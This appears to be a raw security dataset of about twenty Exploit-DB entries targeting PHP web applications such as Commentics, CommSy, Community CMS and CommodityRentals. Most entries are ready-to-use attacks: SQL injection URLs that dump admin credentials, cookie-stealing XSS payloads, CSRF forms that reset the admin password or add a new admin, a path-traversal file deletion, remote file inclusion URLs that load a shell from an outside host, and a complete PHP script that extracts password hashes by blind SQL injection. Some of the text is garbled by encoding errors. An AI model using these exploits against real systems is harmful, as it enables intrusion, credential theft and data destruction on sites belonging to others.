deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38956
Description: Command School Student Management System - '/sw/backup/backup_ray2.php' Database Backup Direct Request Information Disclosure
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
            
Command School Student Management System is prone to the following security vulnerabilities:
            
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
            
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
            
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 


##############
VULNERABILITY
##############

/Backup/backup_ray2.php (LINE: 78-126)

-----------------------------------------------------------------------------
// SET THE NAME OF THE BACKUP WITH A TIMESTAMP
$bkup = 'mysql' . date('Ymd\THis') . $db_name . '.txt';
$fp   = fopen($bkup, "w");


// GET THE LIST OF TABLES
$sql = "SHOW TABLES";
$res = mysql_query($sql);
if (!$res) die( mysql_error() );
if (mysql_num_rows($res) == 0) die( "NO TABLES IN $db_name" );
while ($s = mysql_fetch_array($res))
{
    $tables[] = $s[0];
}


// ITERATE OVER THE LIST OF TABLES
foreach ($tables as $table)
{

// WRITE THE DROP TABLE STATEMENT
    fwrite($fp,"DROP TABLE `$table`;\n");

// GET THE CREATE TABLE STATEMENT
    $res = mysql_query("SHOW CREATE TABLE `$table`");
    if (!$res) die( mysql_error() );
    $cre = mysql_fetch_array($res);
    $cre[1] .= ";";
    $txt = str_replace("\n", "", $cre[1]); // FIT EACH QUERY ON ONE LINE
    fwrite($fp, $txt . "\n");

// GET THE TABLE DATA
    $data = mysql_query("SELECT * FROM `$table`");
    $num  = mysql_num_fields($data);
    while ($row = mysql_fetch_array($data))
    {

// MAKE INSERT STATEMENTS FOR ALL THE VALUES
        $txt = "INSERT INTO `$table` VALUES(";
        for ($i=0; $i < $num; $i++)
        {
            $txt .= "'".mysql_real_escape_string($row[$i])."', ";
        }
        $txt = substr($txt, 0, -2);
        fwrite($fp, $txt . ");\n");
    }
}
// ALL DONE
fclose($fp);
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

<html>
<title>Iphobos Blog</title>
<label><a href="http://www.example.com/sw/backup/backup_ray2.php" class="button
white">Backup Download</a></label>
</html>
Exploit-DB #38953
Description: Command School Student Management System - '/sw/health_allergies.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64707/info
         
Command School Student Management System is prone to the following security vulnerabilities:
         
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
         
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
         
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected. 

http://www.example.com/sw/health_allergies.php?action=edit&id=null+and+1=2+union+select+version()
Exploit-DB #28861
Description: Comment IT 0.2 - 'PathToComment' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-25
Author: Cold Zero

Exploit:
source: https://www.securityfocus.com/bid/20739/info

Comment IT is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Comment IT 0.2 is vulnerable.

http://www.example.com/[CommentIT_path]/classes/class_admin.php?PathToComment=http://ColdZero-Shell.txt
http://www.example.com/[CommentIT_path]/classes/class_comments.php?PathToComment=http://ColdZero-Shell.txt
Exploit-DB #49575
Description: Comment System 1.0 - 'multiple' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-19
Author: Pintu Solanki

Exploit:
# Exploit Title: Comment System 1.0 - 'multiple' Stored Cross-Site Scripting
# Date: 2021-02-18
# Exploit Author: Pintu Solanki
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14713/comment-system-phpmysqli-full-source-code.html
# Software: : Comment System 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


# Vulnerable Page: http://localhost/comment/index.php
# Vulnerable Input Field :

Your Name:  "><script>alert(document.cookie)</script>

Comment:    "><script>alert(document.cookie)</script>

# Payload used:

"><script>alert(document.cookie)</script>

# POC: Whenever we will go to the page (http://localhost/comment/index.php) where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.
Exploit-DB #37436
Description: Commentics - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-20
Author: Jean Pascal Pereira

Exploit:
source: https://www.securityfocus.com/bid/54111/info

Commentics is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Commentics 2.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/commentics/commentics/comments/[admin_path]/index.php?p age=edit_page&id="><script>alert(1)</script><!--
Exploit-DB #19325
Description: Commentics 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-21
Author: Jean Pascal Pereira

Exploit:
#################################################
Commentics 2.0 <= Multiple Vulnerabilities
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"Commentics is a free, advanced PHP comment script with many features.
Professionally written and with open source code, its main aims are to be integrable, customizable and secure."

Vendor URI: http://www.commentics.org/

#################################################

Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion

Risk-level: High

The whole administration interface is prone to several client-side attacks.

-------------------------------------

Exploit / Proof Of Concept:

(Note that almost every parameter is vulnerable. These are only a few examples.)


1. File deletion vulnerability (deletes index.php):

http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php


2. Cross Site Scripting:

http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--


3. CSRF / Change admin email and password:

<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
<input type="text" name="username" value="admin" />
<input type="text" name="password_1" value="1234" />
<input type="text" name="password_2" value"=1234" />
<input type="text" name="email" value="admin%40binkmail.com" />
<input type="text" name="receive_email_new_ban" value="on" />
<input type="text" name="receive_email_new_comment_approve" value="on" />
<input type="text" name="receive_email_new_comment_okay" value="on" />
<input type="text" name="receive_email_new_flag" value="on" />
<input type="text" name="submit" value="Update" />
</form>
<script>document.forms[0].submit()</script>


4. CSRF / Add new admin user

<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
<input type="text" name="username" value="newadmin" />
<input type="text" name="password_1" value="1234" />
<input type="text" name="password_2" value"=1234" />
<input type="text" name="email" value="newadmin%40binkmail.com" />
<input type="text" name="submit" value="Add+Admin" />
</form>
<script>document.forms[0].submit()</script>

-------------------------------------

Solution:

Do some input validation.

-------------------------------------

#################################################
Exploit-DB #2648
Description: CommentIT - 'PathToComment' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-25
Author: Cold Zero

Exploit:
Comment IT  (class_admin.php , class_comments.php)  Remot File Include Vulnerability

Found By : CoLd Zero  [ Wasem898 ]

Palestine Muslim Hacker's

######################################################
#
#           [ Comment IT ]
#
# Class:     File Include Vulnerability
# Published  2006-10-24
# Remote:    Yes
# Critical   Level : Dangerous
# Site:      http://www.comscripts.com/scripts/php.comment-it.623.html
# Author:    Cold Zero
# Contact:   ip.123.456.78.90@hotmail.com
#
######################################################

file's ;

class_admin.php
class_comments.php
======================================================
Vuln Code

include_once ($PathToComment."/classes/class_db.php");

=======================================================

Exploit :

Http:// www.Victem.0 / [Comment IT_path] /classes/class_admin.php?PathToComment=http://ColdZero-Shell.txt

Http:// www.Victem.0 / [Comment IT_path] /classes/class_comments.php?PathToComment=http://ColdZero-Shell.txt



----  Thanx: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] ]organza[

---- GreeTz: All www.4azhar.Com Members

Cont :  ip.123.456.78.90@hotmail.com

--------------------------------------||  Viva Palestine ||-----------------------------------------

# milw0rm.com [2006-10-25]
Exploit-DB #26570
Description: CommodityRentals 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15552/info

CommodityRentals is prone to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DVD/moviedetails.php?usersession=&user_id=[sql]&movie_id=312
Exploit-DB #33634
Description: CommodityRentals CD Rental Software - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: Don Tukulesto

Exploit:
source: https://www.securityfocus.com/bid/38184/info

CommodityRentals CD Rental Software is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?view=catalog&item_type=M&cat_id=3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0Ã?3a,admin_password),3,4+from+rental_adminâ??
Exploit-DB #36079
Description: CommodityRentals Real Estate Script - 'txtsearch' HTML Injection
Type: webapps
Platform: php
Date: 2011-08-24
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/49296/info

Real Estate Script is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

"/></a></><img src=1.gif onerror=alert(1)>
Exploit-DB #32135
Description: common Solutions csphonebook 1.02 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-31
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/30485/info

The 'csphonebook' program (from common solutions) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects csphonebook 1.02; other versions may also be affected. 


http://www.example.com/index.php?letter=[XSS]
Exploit-DB #13762
Description: CommonSense CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-07
Author: Pokeng

Exploit:
# Exploit Title: CommonSense CMS Sql Injection Vulnerability
# Author: Pokeng
# Software Link: http://www.sensesites.com/



# Platform / Tested on: Win/Linux
# category: webapps/0day
# Code : http://[site]/article.php?article_id=[SQL]
# Dork : "Powered by CommonSense CMS"

[*] Greetz


Explore Crew : ArRay `yuda N4ck0 K4pt3N samu1241 bejamz Gameover antitos yuki


http://explorecrew.org/
------------------------------------------------------------------------------
Exploit-DB #46849
Description: CommSy 8.6.5 - SQL injection
Type: webapps
Platform: php
Date: 2019-05-15
Author: Jens Regel

Exploit:
Title:
======
CommSy 8.6.5 - SQL injection

Researcher:
===========
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2019-11880

Timeline:
=========
2019-04-15 Vulnerability discovered
2019-04-15 Asked for security contact and PGP key
2019-04-16 Send details to the vendor
2019-05-07 Flaw was approved but will not be fixed in branch 8.6
2019-05-15 Public disclosure

Affected Products:
==================
CommSy <= 8.6.5

Vendor Homepage:
================
https://www.commsy.net

Details:
========
CommSy is a web-based community system, originally developed at the
University of Hamburg, Germany, to support learning/working communities.
We have discovered a unauthenticated SQL injection vulnerability in
CommSy <= 8.6.5 that makes it possible to read all database content. The
vulnerability exists in the HTTP GET parameter "cid".

Proof of Concept:
=================
boolean-based blind:
commsy.php?cid=101" AND 3823=(SELECT (CASE WHEN (3823=3823) THEN 3823
ELSE (SELECT 7548 UNION SELECT 4498) END))-- dGRD&mod=context&fct=login

error-based:
commsy.php?cid=101" AND (SELECT 6105 FROM(SELECT
COUNT(*),CONCAT(0x716a767871,(SELECT
(ELT(6105=6105,1))),0x716b6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jzQs&mod=context&fct=login

time-based blind:
commsy.php?cid=101" AND SLEEP(5)-- MjJM&mod=context&fct=login

Fix:
====
According to the manufacturer, the version branch 8.6 is no longer
supported and the vulnerability will not be fixed. Customers should
update to the newest version 9.2.
Exploit-DB #30027
Description: CommuniGate Pro 5.1.8 - Web Mail HTML Injection
Type: webapps
Platform: php
Date: 2007-05-12
Author: Alla Bezroutchko

Exploit:
source: https://www.securityfocus.com/bid/23950/info

CommuniGate Pro is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

CommuniGate Pro 5.1.8 and earlier versions are vulnerable to this issue.

Note that this issue is present only when using Microsoft Internet Explorer. 

<STYLE>@im\port'\ja\vasc\ript:alert("XSS in message body (style using import)")';</STYLE>
Exploit-DB #33102
Description: CommuniGate Pro 5.2.14 - Web Mail URI Parsing HTML Injection
Type: webapps
Platform: php
Date: 2009-06-23
Author: Andrea Purificato

Exploit:
source: https://www.securityfocus.com/bid/35783/info

CommuniGate Pro is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to run HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to CommuniGate Pro 5.2.15 are vulnerable. 

http://www.example.com/&z="><script>alert(document.cookie)</script>&f=
Exploit-DB #32078
Description: Community CMS 0.1 - 'include.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-17
Author: N3TR00T3R

Exploit:
source: https://www.securityfocus.com/bid/30275/info

Community CMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Community CMS 0.1 is vulnerable; other versions may also be affected. 

<?php
/************************************************** ********************
*[+] << IN THE NAME OF GOD >>
*[+]
*[+]
*[+] [ Persian Boys Hacking Team ] -:- 2008 -:- IRAN
*[+] -
*[+] - discovered by N3TR00T3R [at] Y! [dot] com
*[+] - communitycms-0.1 Remote File Includion
*[+] - download :http://sourceforge.net/project/showf...roup_id=223968
*[+] - sp tnx : Sp3shial,Veroonic4,God_Master_hacker,a_reptil,Ciph
3r,shayan_cmd
*[+] r00t.master,Dr.root,Pouya_server,Spyn3t,LordKouros h,123qwe,mr.n4ser
*[+] Zahacker,goli_boya,i_reza_i,programer, and all irchatan members ...
*[+]
************************************************** ********************/
#if register_globals = On;

$shell="http://localhost/syn99.php?"; // your shell
$target="http://localhost/communitycms/include.php"; //vul page --->
include.php
echo"<html>
<body>
<form action=$target method=POST>
SECURITY :<input type=text name=security>
SHELL :<input type=text name=root>
<input type=hidden name=security value=1>
<input type=hidden name=root value=$shell>
<input type=submit value=ok>
</form>
</body>
</html>";
?>
Exploit-DB #7892
Description: Community CMS 0.4 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-28
Author: darkjoker

Exploit:
--+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);

	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);
	$fp = fsockopen ($hostname, 80);
	
	$query = query ($user, $pos, $chr);
	$get =  "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";
	
	fputs ($fp, $get);

	while (!feof ($fp))
		$x .= fgets ($fp, 1024);
	
	fclose ($fp);
	
	if (preg_match ("/Failed to load page/", $x))
		return false;
	else
		return true;
	
}

function usage () {
	exit (
		"Community CMS <= 0.4 Blind SQL Injection Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
		"\n[+] Usage   : php xpl.php <localhost> <path> <username>".
		"\n[+] Ex.     : php xpl.php localhost /CommunityCMS admin".
		"\n[+] Greetz  : certaindeath".
		"\n\n");
}

if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef[PII_REDACTED]";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-28]
Exploit-DB #8323
Description: Community CMS 0.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-03-31
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: Community CMS
[+] Version: 0.5
[+] Website: http://sourceforge.net/projects/communitycms/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Dork: intext:"Powered by Community CMS"
[+] Date: 30 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] File affected: view.php, calendar.php

This bug allows a guest to view username and password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users

http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-31]
Exploit-DB #10045
Description: Community Translate - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-10-12
Author: NoGe

Exploit:
[o] Community Translate Remote File Inclusion Vulnerability
Software     : Community Translate
Project Home : http://code.google.com/p/communitytranslate/
Author       : NoGe
Contact      : noge[dot]code[at]gmail[dot]com
Blog         : http://evilc0de.blogspot.com/
Home         : http://antisecurity.org/

[o] Vulnerable file
require_once("$rd/include/utilfunctions.php");

include/functions.php

[o] Exploit
http://localhost/[path]/include/functions.php?rd=[evilc0de]